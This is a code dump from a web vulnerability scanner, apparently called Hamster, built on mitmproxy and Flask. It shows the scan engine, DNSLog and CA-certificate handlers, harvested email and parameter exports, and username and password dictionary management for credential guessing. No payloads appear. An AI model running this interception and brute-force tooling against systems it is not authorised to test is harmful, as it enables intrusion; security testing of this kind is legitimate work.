99 | routing_key = f'{rabbitmq.pre_name}_{routing_key}'
100 | else:
101 | routing_key = rabbitmq.default_routing_key
102 |
103 | flow_hash = data['flow_hash']
104 | try:
105 | message = json.dumps(data).encode("utf-8")
106 | await rabbitmq.publish(message, routing_key=routing_key)
107 | log.info(f"Push packet to mq, flow_hash: {flow_hash}, routing_key: {routing_key}")
108 | except:
109 | log.error(f"Error push packet to flow_hash, hash: {flow_hash}, routing_key: {routing_key}")
--------------------------------------------------------------------------------
/lib/engine/master/simplemaster.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import traceback
6 | from lib.core.env import *
7 | import asyncio
8 | from mitmproxy.addons import asgiapp
9 | from lib.engine.master import BaseMaster
10 | from lib.core.asyncpool import PoolCollector
11 | from lib.core.g import conf
12 | from lib.core.g import log
13 | from lib.core.g import task_queue
14 | from lib.hander import app
15 | from lib.core.enums import EngineType
16 |
17 | class SimpleMaster(BaseMaster):
18 | """
19 | Simple Master为测试模块
20 | """
21 |
22 | def __init__(self):
23 | super().__init__()
24 |
25 | # Engine 属性
26 | self.engine_type = EngineType.SIMPLE_MASTER
27 | self.id = f'{HOSTNAME}_{self.engine_type}'
28 |
29 | # 属性初始化
30 | self.num_workers = 500
31 | self.addon_list = []
32 | if conf.scan.test:
33 | self.addon_top_path_list = [TEST_ADDON_PATH]
34 | else:
35 | self.addon_top_path_list = [AGENT_ADDON_PATH, COMMON_ADDON_PATH]
36 |
37 | # 加载配置
38 | self.options.listen_host = conf.simple.listen_host
39 | self.options.listen_port = conf.simple.listen_port
40 |
41 | # 加载测试配置
42 | self.addons.add(asgiapp.WSGIApp(app, conf.basic.listen_domain, 80))
43 |
44 |
45 | def hook(self):
46 | """运行相关伴随线程"""
47 |
48 | # dnslog
49 | asyncio.ensure_future(self.init_dnslog())
50 |
51 | # 启动心跳
52 | asyncio.ensure_future(self.heartbeat())
53 |
54 | # 数据处理
55 | asyncio.ensure_future(self.data_center())
56 |
57 | # 缓存处理
58 | asyncio.ensure_future(self.cache_center())
59 |
60 | # 任务处理
61 | asyncio.ensure_future(self.task_center())
62 |
63 |
64 |
65 | def print_status(self):
66 | """打印状态"""
67 |
68 | self.remaining = task_queue.qsize()
69 | self.queue_num = self.get_data_queue_size()
70 | log.info(f"Remaining: {self.remaining}, Scanning: {self.scanning}, Queue: {self.queue_num}, Max: {self.scan_max_task_num}")
71 |
72 |
73 | async def task_center(self):
74 | async with PoolCollector.create(num_workers=self.num_workers) as manager:
75 | asyncio.ensure_future(self.submit_task(manager))
76 | async for result in manager.iter():
77 | pass
78 |
79 | async def submit_task(self, manager: PoolCollector):
80 | """提交任务到扫描模块"""
81 | log.info("Starting submit task... ")
82 | try:
83 | while True:
84 | await asyncio.sleep(0.1)
85 | self.scanning = manager.scanning_task_count + manager.remain_task_count
86 | if not task_queue.empty() and self.scanning < self.scan_max_task_num:
87 | self.queue_num = self.get_data_queue_size()
88 | if self.queue_num < self.max_data_queue_num:
89 | flow_hash, flow, addon = await task_queue.get()
90 | await manager.submit(self.do_scan, flow_hash, flow, addon)
91 | else:
92 | await asyncio.sleep(0.1)
93 | else:
94 | await asyncio.sleep(0.1)
95 | except Exception as e:
96 | msg = str(e)
97 | log.error(f"Error submit_task, error: {msg}")
98 | finally:
99 | await manager.shutdown()
100 |
101 | async def do_scan(self, flow_hash, flow, addon):
102 | """扫描函数"""
103 |
104 | try:
105 | if addon.is_scan_response(flow):
106 | log.info(f"Start scan, hash: {flow_hash}, addon: {addon.name}")
107 | res = await addon.prove(flow)
108 | log.info(f"Final scan, hash: {flow_hash}, addon: {addon.name}")
109 | else:
110 | log.info(f"Skip scan, hash: {flow_hash}, addon: {addon.name}")
111 | except (ConnectionResetError, ConnectionAbortedError, TimeoutError, asyncio.TimeoutError):
112 | pass
113 | except (asyncio.CancelledError, ConnectionRefusedError, OSError):
114 | pass
115 | except Exception:
116 | msg = str(traceback.format_exc())
117 | log.error(f"Error scan, hash: {flow_hash}, addon: {addon.name}, error: {msg}")
--------------------------------------------------------------------------------
/lib/engine/master/supportmaster.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from lib.engine.master import BaseMaster
7 | from lib.core.g import conf
8 | from lib.core.enums import EngineType
9 |
10 | class SupportMaster(BaseMaster):
11 | """
12 | Support Master为辅助监听模块
13 | """
14 |
15 | def __init__(self):
16 | super().__init__()
17 |
18 | # Engine 属性
19 | self.engine_type = EngineType.SUPPORT_MASTER
20 | self.id = f'{HOSTNAME}_{self.engine_type}'
21 |
22 | # 属性初始化
23 | self.addon_list = []
24 | self.addon_top_path_list = [SUPPORT_ADDON_PATH, COMMON_ADDON_PATH]
25 |
26 | # 加载配置
27 | self.options.listen_host = conf.support.listen_host
28 | self.options.listen_port = conf.support.listen_port
--------------------------------------------------------------------------------
/lib/hander/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from flask import Flask
7 | from flask_sqlalchemy import SQLAlchemy
8 | from lib.core.g import conf
9 | from lib.core.g import mysql
10 |
11 | app = Flask(PROJECT_NAME, template_folder=TEMPLATE_PATH, static_folder=STATIC_PATH, static_url_path=f"{PREFIX_URL}/{STATIC}")
12 | app.config["DEBUG"] = conf.basic.debug
13 | app.config['SECRET_KEY'] = conf.basic.secret_key
14 | app.config['SQLALCHEMY_DATABASE_URI'] = mysql.get_sync_sqlalchemy_database_url()
15 | app.config['SQLALCHEMY_ECHO'] = False
16 | app.config['SQLALCHEMY_POOL_SIZE'] = 100
17 | app.config['SQLALCHEMY_MAX_OVERFLOW'] = 20
18 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
19 | app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True
20 | db = SQLAlchemy(app)
21 |
22 |
23 | from lib.hander import basehander
24 | app.register_blueprint(basehander.mod)
25 |
26 | from lib.hander import indexhander
27 | app.register_blueprint(indexhander.mod)
28 |
29 | from lib.hander.manager import certhander
30 | app.register_blueprint(certhander.mod)
31 |
32 | from lib.hander.manager import vulhander
33 | app.register_blueprint(vulhander.mod)
34 |
35 | from lib.hander.manager.cache import packethander
36 | app.register_blueprint(packethander.mod)
37 |
38 | from lib.hander.manager.cache import cachehander
39 | app.register_blueprint(cachehander.mod)
40 |
41 | from lib.hander.manager.cache import dnsloghander
42 | app.register_blueprint(dnsloghander.mod)
43 |
44 | from lib.hander.manager.collect import pathhander
45 | app.register_blueprint(pathhander.mod)
46 |
47 | from lib.hander.manager.collect import paramhander
48 | app.register_blueprint(paramhander.mod)
49 |
50 | from lib.hander.manager.collect import emailhander
51 | app.register_blueprint(emailhander.mod)
52 |
53 | from lib.hander.manager.collect import corshander
54 | app.register_blueprint(corshander.mod)
55 |
56 | from lib.hander.manager.collect import jsonphander
57 | app.register_blueprint(jsonphander.mod)
58 |
59 | from lib.hander.manager.setting import usernamehander
60 | app.register_blueprint(usernamehander.mod)
61 |
62 | from lib.hander.manager.setting import passwordhander
63 | app.register_blueprint(passwordhander.mod)
64 |
65 | from lib.hander.manager.setting import whitehander
66 | app.register_blueprint(whitehander.mod)
67 |
68 | from lib.hander.manager.setting import blackhander
69 | app.register_blueprint(blackhander.mod)
70 |
71 | from lib.hander.manager.setting import timehander
72 | app.register_blueprint(timehander.mod)
73 |
74 | from lib.hander.manager.setting import filterhander
75 | app.register_blueprint(filterhander.mod)
76 |
77 | from lib.hander.manager.system import enginehander
78 | app.register_blueprint(enginehander.mod)
79 |
80 | from lib.hander.manager.system import addonhander
81 | app.register_blueprint(addonhander.mod)
82 |
83 | from lib.hander.manager.system import userhander
84 | app.register_blueprint(userhander.mod)
85 |
86 | from lib.hander.manager.system import loghander
87 | app.register_blueprint(loghander.mod)
88 |
89 | from lib.hander.api import addonhander
90 | app.register_blueprint(addonhander.mod)
--------------------------------------------------------------------------------
/lib/hander/api/addonhander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import request
6 | from flask import Blueprint
7 | from flask import send_file
8 | from lib.core.env import *
9 | from lib.core.enums import ApiStatus
10 | from lib.util.addonutil import import_addon_file
11 | from lib.hander.basehander import fix_response
12 | from lib.hander.basehander import login_check
13 |
14 | mod = Blueprint('api_addon', __name__, url_prefix=f"{PREFIX_URL}/api/addon")
15 |
16 | @mod.route('/list', methods=['POST', 'GET'])
17 | @login_check
18 | @fix_response
19 | def list():
20 | """获取addon信息"""
21 | response = {
22 | 'data': {
23 | 'res': [],
24 | }
25 | }
26 | addon_path = request.json.get('addon_path', '')
27 | if addon_path != '':
28 | addons = import_addon_file(addon_path)
29 | else:
30 | addons = import_addon_file(os.path.join(ADDON_PATH))
31 |
32 | for i in range(0, len(addons)):
33 | response['data']['res'].append(addons[i].info())
34 | response['data']['total'] = len(addons)
35 | return response
36 |
37 | @mod.route('/async', methods=['POST', 'GET'])
38 | @login_check
39 | def sync():
40 | """获取addon文件"""
41 | addon_path = request.json.get('addon_path', '')
42 | addons = import_addon_file(addon_path)
43 |
44 | if len(addons) == 1:
45 | path = os.path.join(ROOT_PATH, addons[0].info()["addon_path"])
46 | return send_file(path, mimetype='application/octet-stream', attachment_filename=addons[0].info()["addon_file_name"], as_attachment=True)
47 | return ApiStatus.ERROR_INVALID_INPUT_ADDON_NAME
--------------------------------------------------------------------------------
/lib/hander/manager/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/lib/hander/manager/cache/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/lib/hander/manager/cache/__init__.py
--------------------------------------------------------------------------------
/lib/hander/manager/cache/dnsloghander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 |
6 | from flask import request
7 | from flask import render_template
8 | from flask import Blueprint
9 | from flask import session
10 | from sqlalchemy import and_
11 | from lib.core.enums import ApiStatus
12 | from lib.hander import db
13 | from lib.core.env import *
14 | from lib.core.model import DNSLog
15 | from lib.hander.basehander import fix_response
16 | from lib.hander.basehander import login_check
17 | from lib.util.util import get_timestamp
18 | from lib.util.util import get_time
19 |
20 | mod = Blueprint('dnslog', __name__, url_prefix=f"{PREFIX_URL}/manger/dnslog")
21 |
22 | @mod.route('/index', methods=['POST', 'GET'])
23 | @login_check
24 | def index():
25 | ctx = {}
26 | ctx['title'] = 'DNSLog'
27 | ctx['role'] = session.get('role')
28 | ctx['username'] = session.get('username')
29 | return render_template('manager/cache/dnslog.html', **ctx)
30 |
31 | @mod.route('/list', methods=['POST', 'GET'])
32 | @login_check
33 | @fix_response
34 | def list():
35 | response = {
36 | 'data': {
37 | 'res': [],
38 | 'total': 0,
39 | }
40 | }
41 | page = request.json.get('page', 1)
42 | per_page = request.json.get('per_page', 10)
43 | keyword = request.json.get('keyword', '')
44 | ip = request.json.get('ip', '')
45 | condition = (1 == 1)
46 | if keyword != '':
47 | condition = and_(condition, DNSLog.keyword.like('%' + keyword + '%'))
48 |
49 | if ip != '':
50 | condition = and_(condition, DNSLog.ip.like('%' + ip + '%'))
51 |
52 | if per_page == 'all':
53 | for row in db.session.query(DNSLog).filter(condition).all():
54 | response['data']['res'].append(row.to_json())
55 | else:
56 | for row in db.session.query(DNSLog).filter(condition).order_by(DNSLog.update_time.desc()).paginate(page=page, per_page=per_page).items:
57 | response['data']['res'].append(row.to_json())
58 | response['data']['total'] = db.session.query(DNSLog).filter(condition).count()
59 | return response
60 |
61 |
62 |
63 | @mod.route('/delete', methods=['POST', 'GET'])
64 | @login_check
65 | @fix_response
66 | def delete():
67 | response = {'data': {'res': []}}
68 | id = request.json.get('id', '')
69 | ids = request.json.get('ids', '')
70 | if id != '' or ids != '':
71 | if id != '':
72 | packet = db.session.query(DNSLog).filter(DNSLog.id == id).first()
73 | if packet:
74 | db.session.delete(packet)
75 | db.session.commit()
76 | response['data']['res'].append(id)
77 | if ids != '':
78 | try:
79 | for id in ids.split(','):
80 | id = id.replace(' ', '')
81 | packet = db.session.query(DNSLog).filter(DNSLog.id == id).first()
82 | if packet:
83 | db.session.delete(packet)
84 | db.session.commit()
85 | response['data']['res'].append(id)
86 | except:
87 | pass
88 | return response
89 | return ApiStatus.ERROR_IS_NOT_EXIST
90 |
91 | @mod.route('/clear_all', methods=['POST', 'GET'])
92 | @login_check
93 | @fix_response
94 | def clear_all():
95 | response = {'data': {'res': []}}
96 | condition = (1 == 1)
97 | db.session.query(DNSLog).filter(condition).delete(synchronize_session=False)
98 | return response
99 |
100 | @mod.route('/clear_3day_old', methods=['POST', 'GET'])
101 | @login_check
102 | @fix_response
103 | def clear_3day_old():
104 | response = {'data': {'res': []}}
105 | delete_time = get_time(get_timestamp() - 60 * 60 * 24 * 3)
106 | condition = (1 == 1)
107 | condition = and_(condition, DNSLog.update_time <= delete_time)
108 | db.session.query(DNSLog).filter(condition).delete(synchronize_session=False)
109 | return response
--------------------------------------------------------------------------------
/lib/hander/manager/certhander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import render_template
6 | from flask import Blueprint
7 | from flask import session
8 | from mitmproxy.options import CONF_BASENAME
9 | from mitmproxy.options import CONF_DIR
10 | from lib.core.env import *
11 |
12 | mod = Blueprint('cert', __name__, url_prefix=f"{PREFIX_URL}/cert")
13 |
14 | @mod.route('/index')
15 | def index():
16 | ctx = {}
17 | ctx['title'] = 'Cert'
18 | ctx['role'] = session.get('role')
19 | ctx['username'] = session.get('username')
20 | return render_template('manager/cert.html', **ctx)
21 |
22 |
23 | @mod.route('/pem')
24 | def pem():
25 | return read_cert("pem", "application/x-x509-ca-cert")
26 |
27 |
28 | @mod.route('/p12')
29 | def p12():
30 | return read_cert("p12", "application/x-pkcs12")
31 |
32 |
33 | @mod.route('/cer')
34 | def cer():
35 | return read_cert("cer", "application/x-x509-ca-cert")
36 |
37 |
38 | def read_cert(ext, content_type):
39 | filename = CONF_BASENAME + f"-ca-cert.{ext}"
40 | p = os.path.join(CONF_DIR, filename)
41 | p = os.path.expanduser(p)
42 | with open(p, "rb") as f:
43 | cert = f.read()
44 |
45 | return cert, {
46 | "Content-Type": content_type,
47 | "Content-Disposition": f"inline; filename={filename}",
48 | }
49 |
--------------------------------------------------------------------------------
/lib/hander/manager/collect/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/lib/hander/manager/collect/emailhander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import request
6 | from flask import render_template
7 | from flask import Blueprint
8 | from flask import session
9 | from flask import make_response
10 | from sqlalchemy import and_
11 | from sqlalchemy import func
12 | from lib.hander import db
13 | from lib.core.env import *
14 | from lib.core.model import CollectEmail
15 | from lib.core.enums import ApiStatus
16 | from lib.util.util import get_time
17 | from lib.hander.basehander import fix_response
18 | from lib.hander.basehander import login_check
19 |
20 | mod = Blueprint('email', __name__, url_prefix=f"{PREFIX_URL}/manger/email")
21 |
22 | @mod.route('/index', methods=['POST', 'GET'])
23 | @login_check
24 | def index():
25 | ctx = {}
26 | ctx['title'] = 'Email'
27 | ctx['role'] = session.get('role')
28 | ctx['username'] = session.get('username')
29 | return render_template('manager/collect/email.html', **ctx)
30 |
31 | @mod.route('/list', methods=['POST', 'GET'])
32 | @login_check
33 | @fix_response
34 | def list():
35 | response = {
36 | 'data': {
37 | 'res': [],
38 | 'total': 0,
39 | }
40 | }
41 | page = request.json.get('page', 1)
42 | per_page = request.json.get('per_page', 10)
43 | path = request.json.get('path', '')
44 | port = request.json.get('port', '')
45 | host = request.json.get('host', '')
46 | email = request.json.get('email', '')
47 | condition = (1 == 1)
48 | if host != '':
49 | condition = and_(condition, CollectEmail.host.like('%' + host + '%'))
50 |
51 | if port != '':
52 | condition = and_(condition, CollectEmail.port.like('%' + port + '%'))
53 |
54 | if email != '':
55 | condition = and_(condition, CollectEmail.email.like('%' + email + '%'))
56 |
57 | if path != '':
58 | condition = and_(condition, CollectEmail.path.like('%' + path + '%'))
59 |
60 | if per_page == 'all':
61 | for row in db.session.query(CollectEmail).filter(condition).all():
62 | response['data']['res'].append(row.to_json())
63 | else:
64 | for row in db.session.query(CollectEmail).filter(condition).paginate(page=page, per_page=per_page).items:
65 | response['data']['res'].append(row.to_json())
66 | response['data']['total'] = db.session.query(CollectEmail).filter(condition).count()
67 | return response
68 |
69 | @mod.route('/export', methods=['POST', 'GET'])
70 | @login_check
71 | def export():
72 | path = request.json.get('path', '')
73 | port = request.json.get('port', '')
74 | host = request.json.get('host', '')
75 | email = request.json.get('email', '')
76 | condition = (1 == 1)
77 | if host != '':
78 | condition = and_(condition, CollectEmail.host.like('%' + host + '%'))
79 |
80 | if port != '':
81 | condition = and_(condition, CollectEmail.port.like('%' + port + '%'))
82 |
83 | if email != '':
84 | condition = and_(condition, CollectEmail.email.like('%' + email + '%'))
85 |
86 | if path != '':
87 | condition = and_(condition, CollectEmail.path.like('%' + path + '%'))
88 |
89 | rows = db.session.query(CollectEmail).with_entities(CollectEmail.email, func.count(CollectEmail.email)).filter(condition).group_by(CollectEmail.email).order_by(func.count(CollectEmail.email).desc()).all()
90 | content = '\r\n'.join([row[0] for row in rows if row[0] != None])
91 | filename = 'email_{time}.txt'.format(time=get_time()).replace(':', '-').replace(' ', '_')
92 | response = make_response(content)
93 | response.headers['Content-Disposition'] = "attachment; filename={}".format(filename)
94 | response.headers["Cache-Control"] = "no_store"
95 | return response
96 |
97 | @mod.route('/delete', methods=['POST', 'GET'])
98 | @login_check
99 | @fix_response
100 | def delete():
101 | response = {'data': {'res': []}}
102 | email_id = request.json.get('id', '')
103 | email_ids = request.json.get('ids', '')
104 | if email_id != '' or email_ids != '':
105 | if email_id != '':
106 | email = db.session.query(CollectEmail).filter(CollectEmail.id == email_id).first()
107 | if email:
108 | db.session.delete(email)
109 | db.session.commit()
110 | response['data']['res'].append(email_id)
111 | elif email_ids != '':
112 | try:
113 | for email_id in email_ids.split(','):
114 | email_id = email_id.replace(' ', '')
115 | email = db.session.query(CollectEmail).filter(CollectEmail.id == email_id).first()
116 | if email:
117 | db.session.delete(email)
118 | db.session.commit()
119 | response['data']['res'].append(email_id)
120 | except:
121 | pass
122 | return response
123 | return ApiStatus.ERROR_IS_NOT_EXIST
--------------------------------------------------------------------------------
/lib/hander/manager/collect/paramhander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import request
6 | from flask import render_template
7 | from flask import Blueprint
8 | from flask import session
9 | from flask import make_response
10 | from sqlalchemy import and_
11 | from sqlalchemy import func
12 | from lib.hander import db
13 | from lib.core.env import *
14 | from lib.core.model import CollectParam
15 | from lib.core.enums import ApiStatus
16 | from lib.util.util import get_time
17 | from lib.hander.basehander import fix_response
18 | from lib.hander.basehander import login_check
19 |
20 | mod = Blueprint('param', __name__, url_prefix=f"{PREFIX_URL}/manger/param")
21 |
22 | @mod.route('/index', methods=['POST', 'GET'])
23 | @login_check
24 | def index():
25 | ctx = {}
26 | ctx['title'] = 'Param'
27 | ctx['role'] = session.get('role')
28 | ctx['username'] = session.get('username')
29 | return render_template('manager/collect/param.html', **ctx)
30 |
31 | @mod.route('/list', methods=['POST', 'GET'])
32 | @login_check
33 | @fix_response
34 | def list():
35 | response = {
36 | 'data': {
37 | 'res': [],
38 | 'total': 0,
39 | }
40 | }
41 | page = request.json.get('page', 1)
42 | per_page = request.json.get('per_page', 10)
43 | param = request.json.get('param', '')
44 | host = request.json.get('host', '')
45 | port = request.json.get('port', '')
46 | condition = (1 == 1)
47 | if param != '':
48 | condition = and_(condition, CollectParam.param.like('%' + param + '%'))
49 |
50 | if host != '':
51 | condition = and_(condition, CollectParam.host.like('%' + host + '%'))
52 |
53 | if port != '':
54 | condition = and_(condition, CollectParam.port.like('%' + port + '%'))
55 |
56 | if per_page == 'all':
57 | for row in db.session.query(CollectParam).filter(condition).all():
58 | response['data']['res'].append(row.to_json())
59 | else:
60 | for row in db.session.query(CollectParam).filter(condition).paginate(page=page, per_page=per_page).items:
61 | response['data']['res'].append(row.to_json())
62 | response['data']['total'] = db.session.query(CollectParam).filter(condition).count()
63 | return response
64 |
65 | @mod.route('/export', methods=['POST', 'GET'])
66 | @login_check
67 | def export():
68 | param = request.json.get('param', '')
69 | host = request.json.get('host', '')
70 | port = request.json.get('port', '')
71 | condition = (1 == 1)
72 | if param != '':
73 | condition = and_(condition, CollectParam.param.like('%' + param + '%'))
74 |
75 | if host != '':
76 | condition = and_(condition, CollectParam.host.like('%' + host + '%'))
77 |
78 | if port != '':
79 | condition = and_(condition, CollectParam.port.like('%' + port + '%'))
80 |
81 | rows = db.session.query(CollectParam).with_entities(CollectParam.param, func.count(CollectParam.param)).filter(condition).group_by(CollectParam.param).order_by(func.count(CollectParam.param).desc()).all()
82 | content = '\r\n'.join([row[0] for row in rows if row[0] != None])
83 |
84 | filename = 'param_{time}.txt'.format(time=get_time()).replace(':', '-').replace(' ', '_')
85 | response = make_response(content)
86 | response.headers['Content-Disposition'] = "attachment; filename={}".format(filename)
87 | response.headers["Cache-Control"] = "no_store"
88 | return response
89 |
90 |
91 | @mod.route('/delete', methods=['POST', 'GET'])
92 | @login_check
93 | @fix_response
94 | def delete():
95 | response = {'data': {'res': []}}
96 | param_id = request.json.get('id', '')
97 | param_ids = request.json.get('ids', '')
98 | if param_id != '' or param_ids != '':
99 | if param_id != '':
100 | param = db.session.query(CollectParam).filter(CollectParam.id == param_id).first()
101 | if param:
102 | db.session.delete(param)
103 | db.session.commit()
104 | response['data']['res'].append(param_id)
105 | elif param_ids != '':
106 | try:
107 | for param_id in param_ids.split(','):
108 | param_id = param_id.replace(' ', '')
109 | param = db.session.query(CollectParam).filter(CollectParam.id == param_id).first()
110 | if param:
111 | db.session.delete(param)
112 | db.session.commit()
113 | response['data']['res'].append(param_id)
114 | except:
115 | pass
116 | return response
117 | return ApiStatus.ERROR_IS_NOT_EXIST
118 |
--------------------------------------------------------------------------------
/lib/hander/manager/setting/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/lib/hander/manager/setting/passwordhander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import request
6 | from flask import render_template
7 | from flask import Blueprint
8 | from flask import session
9 | from sqlalchemy import and_
10 | from lib.hander import db
11 | from lib.core.env import *
12 | from lib.core.model import DictPassword
13 | from lib.core.enums import ApiStatus
14 | from lib.util.util import get_time
15 | from lib.core.g import conf
16 | from lib.hander.basehander import save_sql
17 | from lib.hander.basehander import fix_response
18 | from lib.hander.basehander import login_check
19 |
20 | mod = Blueprint('password', __name__, url_prefix=f"{PREFIX_URL}/manger/password")
21 |
22 |
23 | @mod.route('/index', methods=['POST', 'GET'])
24 | @login_check
25 | def index():
26 | ctx = {}
27 | ctx['title'] = 'Username'
28 | ctx['role'] = session.get('role')
29 | ctx['username'] = session.get('username')
30 | return render_template('manager/setting/password.html', **ctx)
31 |
32 |
33 | @mod.route('/list', methods=['POST', 'GET'])
34 | @login_check
35 | @fix_response
36 | def list():
37 | response = {
38 | 'data': {
39 | 'res': [],
40 | 'total': 0,
41 | }
42 | }
43 | page = request.json.get('page', 1)
44 | per_page = request.json.get('per_page', 10)
45 | value = request.json.get('value', '')
46 | condition = (1 == 1)
47 |
48 | if value != '':
49 | condition = and_(condition, DictPassword.value.like('%' + value + '%'))
50 |
51 | if per_page == 'all':
52 | for row in db.session.query(DictPassword).filter(condition).all():
53 | response['data']['res'].append(row.to_json())
54 | else:
55 | for row in db.session.query(DictPassword).filter(condition).paginate(page=page, per_page=per_page).items:
56 | response['data']['res'].append(row.to_json())
57 | response['data']['total'] = db.session.query(DictPassword).filter(condition).count()
58 | return response
59 |
60 |
61 | @mod.route('/edit', methods=['POST', 'GET'])
62 | @login_check
63 | @fix_response
64 | def edit():
65 | password_id = request.json.get('id', '')
66 | value = request.json.get('value', '')
67 | mark = request.json.get('mark', '')
68 | if password_id != '':
69 | password_id = int(password_id)
70 | password = db.session.query(DictPassword).filter(DictPassword.id == password_id).first()
71 | if password:
72 | password.mark = mark
73 | password.value = value
74 | password.update_time = get_time()
75 | save_sql(password)
76 | conf.dict_password = db.session.query(DictPassword).all()
77 | return {'data': {'res': [password_id]}}
78 | return ApiStatus.ERROR_IS_NOT_EXIST
79 |
80 |
81 | @mod.route('/add', methods=['POST', 'GET'])
82 | @login_check
83 | @fix_response
84 | def add():
85 | value = request.json.get('value', '')
86 | mark = request.json.get('mark', '')
87 |
88 | if value == '':
89 | return ApiStatus.ERROR_INVALID_INPUT
90 |
91 | update_time = get_time()
92 | password = DictPassword(value=value, mark=mark, update_time=update_time)
93 | save_sql(password)
94 | conf.dict_password = db.session.query(DictPassword).all()
95 | return {'data': {'res': [value]}}
96 |
97 |
98 | @mod.route('/delete', methods=['POST', 'GET'])
99 | @login_check
100 | @fix_response
101 | def delete():
102 | response = {'data': {'res': []}}
103 | password_id = request.json.get('id', '')
104 | password_ids = request.json.get('ids', '')
105 | if password_id != '' or password_ids != '':
106 | if password_id != '':
107 | password = db.session.query(DictPassword).filter(DictPassword.id == password_id).first()
108 | if password:
109 | db.session.delete(password)
110 | db.session.commit()
111 | response['data']['res'].append(password_id)
112 | elif password_ids != '':
113 | try:
114 | for password_id in password_ids.split(','):
115 | password_id = password_id.replace(' ', '')
116 | password = db.session.query(DictPassword).filter(DictPassword.id == password_id).first()
117 | if password:
118 | db.session.delete(password)
119 | db.session.commit()
120 | response['data']['res'].append(password_id)
121 | except:
122 | pass
123 | conf.dict_password = db.session.query(DictPassword).all()
124 | return response
125 | return ApiStatus.ERROR_IS_NOT_EXIST
126 |
--------------------------------------------------------------------------------
/lib/hander/manager/setting/usernamehander.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from flask import request
6 | from flask import render_template
7 | from flask import Blueprint
8 | from flask import session
9 | from sqlalchemy import and_
10 | from lib.hander import db
11 | from lib.core.env import *
12 | from lib.core.model import DictUsername
13 | from lib.core.enums import ApiStatus
14 | from lib.util.util import get_time
15 | from lib.core.g import conf
16 | from lib.hander.basehander import save_sql
17 | from lib.hander.basehander import fix_response
18 | from lib.hander.basehander import login_check
19 |
20 | mod = Blueprint('username', __name__, url_prefix=f"{PREFIX_URL}/manger/username")
21 |
22 |
23 | @mod.route('/index', methods=['POST', 'GET'])
24 | @login_check
25 | def index():
26 | ctx = {}
27 | ctx['title'] = 'Username'
28 | ctx['role'] = session.get('role')
29 | ctx['username'] = session.get('username')
30 | return render_template('manager/setting/username.html', **ctx)
31 |
32 |
33 | @mod.route('/list', methods=['POST', 'GET'])
34 | @login_check
35 | @fix_response
36 | def list():
37 | response = {
38 | 'data': {
39 | 'res': [],
40 | 'total': 0,
41 | }
42 | }
43 | page = request.json.get('page', 1)
44 | per_page = request.json.get('per_page', 10)
45 | value = request.json.get('value', '')
46 | condition = (1 == 1)
47 |
48 | if value != '':
49 | condition = and_(condition, DictUsername.value.like('%' + value + '%'))
50 |
51 | if per_page == 'all':
52 | for row in db.session.query(DictUsername).filter(condition).all():
53 | response['data']['res'].append(row.to_json())
54 | else:
55 | for row in db.session.query(DictUsername).filter(condition).paginate(page=page, per_page=per_page).items:
56 | response['data']['res'].append(row.to_json())
57 | response['data']['total'] = db.session.query(DictUsername).filter(condition).count()
58 | return response
59 |
60 |
61 | @mod.route('/edit', methods=['POST', 'GET'])
62 | @login_check
63 | @fix_response
64 | def edit():
65 | username_id = request.json.get('id', '')
66 | value = request.json.get('value', '')
67 | mark = request.json.get('mark', '')
68 | if username_id != '':
69 | username_id = int(username_id)
70 | username = db.session.query(DictUsername).filter(DictUsername.id == username_id).first()
71 | if username:
72 | username.mark = mark
73 | username.value = value
74 | username.update_time = get_time()
75 | save_sql(username)
76 | conf.dict_username = db.session.query(DictUsername).all()
77 | return {'data': {'res': [username_id]}}
78 | return ApiStatus.ERROR_IS_NOT_EXIST
79 |
80 |
81 | @mod.route('/add', methods=['POST', 'GET'])
82 | @login_check
83 | @fix_response
84 | def add():
85 | value = request.json.get('value', '')
86 | mark = request.json.get('mark', '')
87 |
88 | if value == '':
89 | return ApiStatus.ERROR_INVALID_INPUT
90 |
91 | update_time = get_time()
92 | username = DictUsername(value=value, mark=mark, update_time=update_time)
93 | save_sql(username)
94 | conf.dict_username = db.session.query(DictUsername).all()
95 | return {'data': {'res': [value]}}
96 |
97 |
98 | @mod.route('/delete', methods=['POST', 'GET'])
99 | @login_check
100 | @fix_response
101 | def delete():
102 | response = {'data': {'res': []}}
103 | username_id = request.json.get('id', '')
104 | username_ids = request.json.get('ids', '')
105 | if username_id != '' or username_ids != '':
106 | if username_id != '':
107 | username = db.session.query(DictUsername).filter(DictUsername.id == username_id).first()
108 | if username:
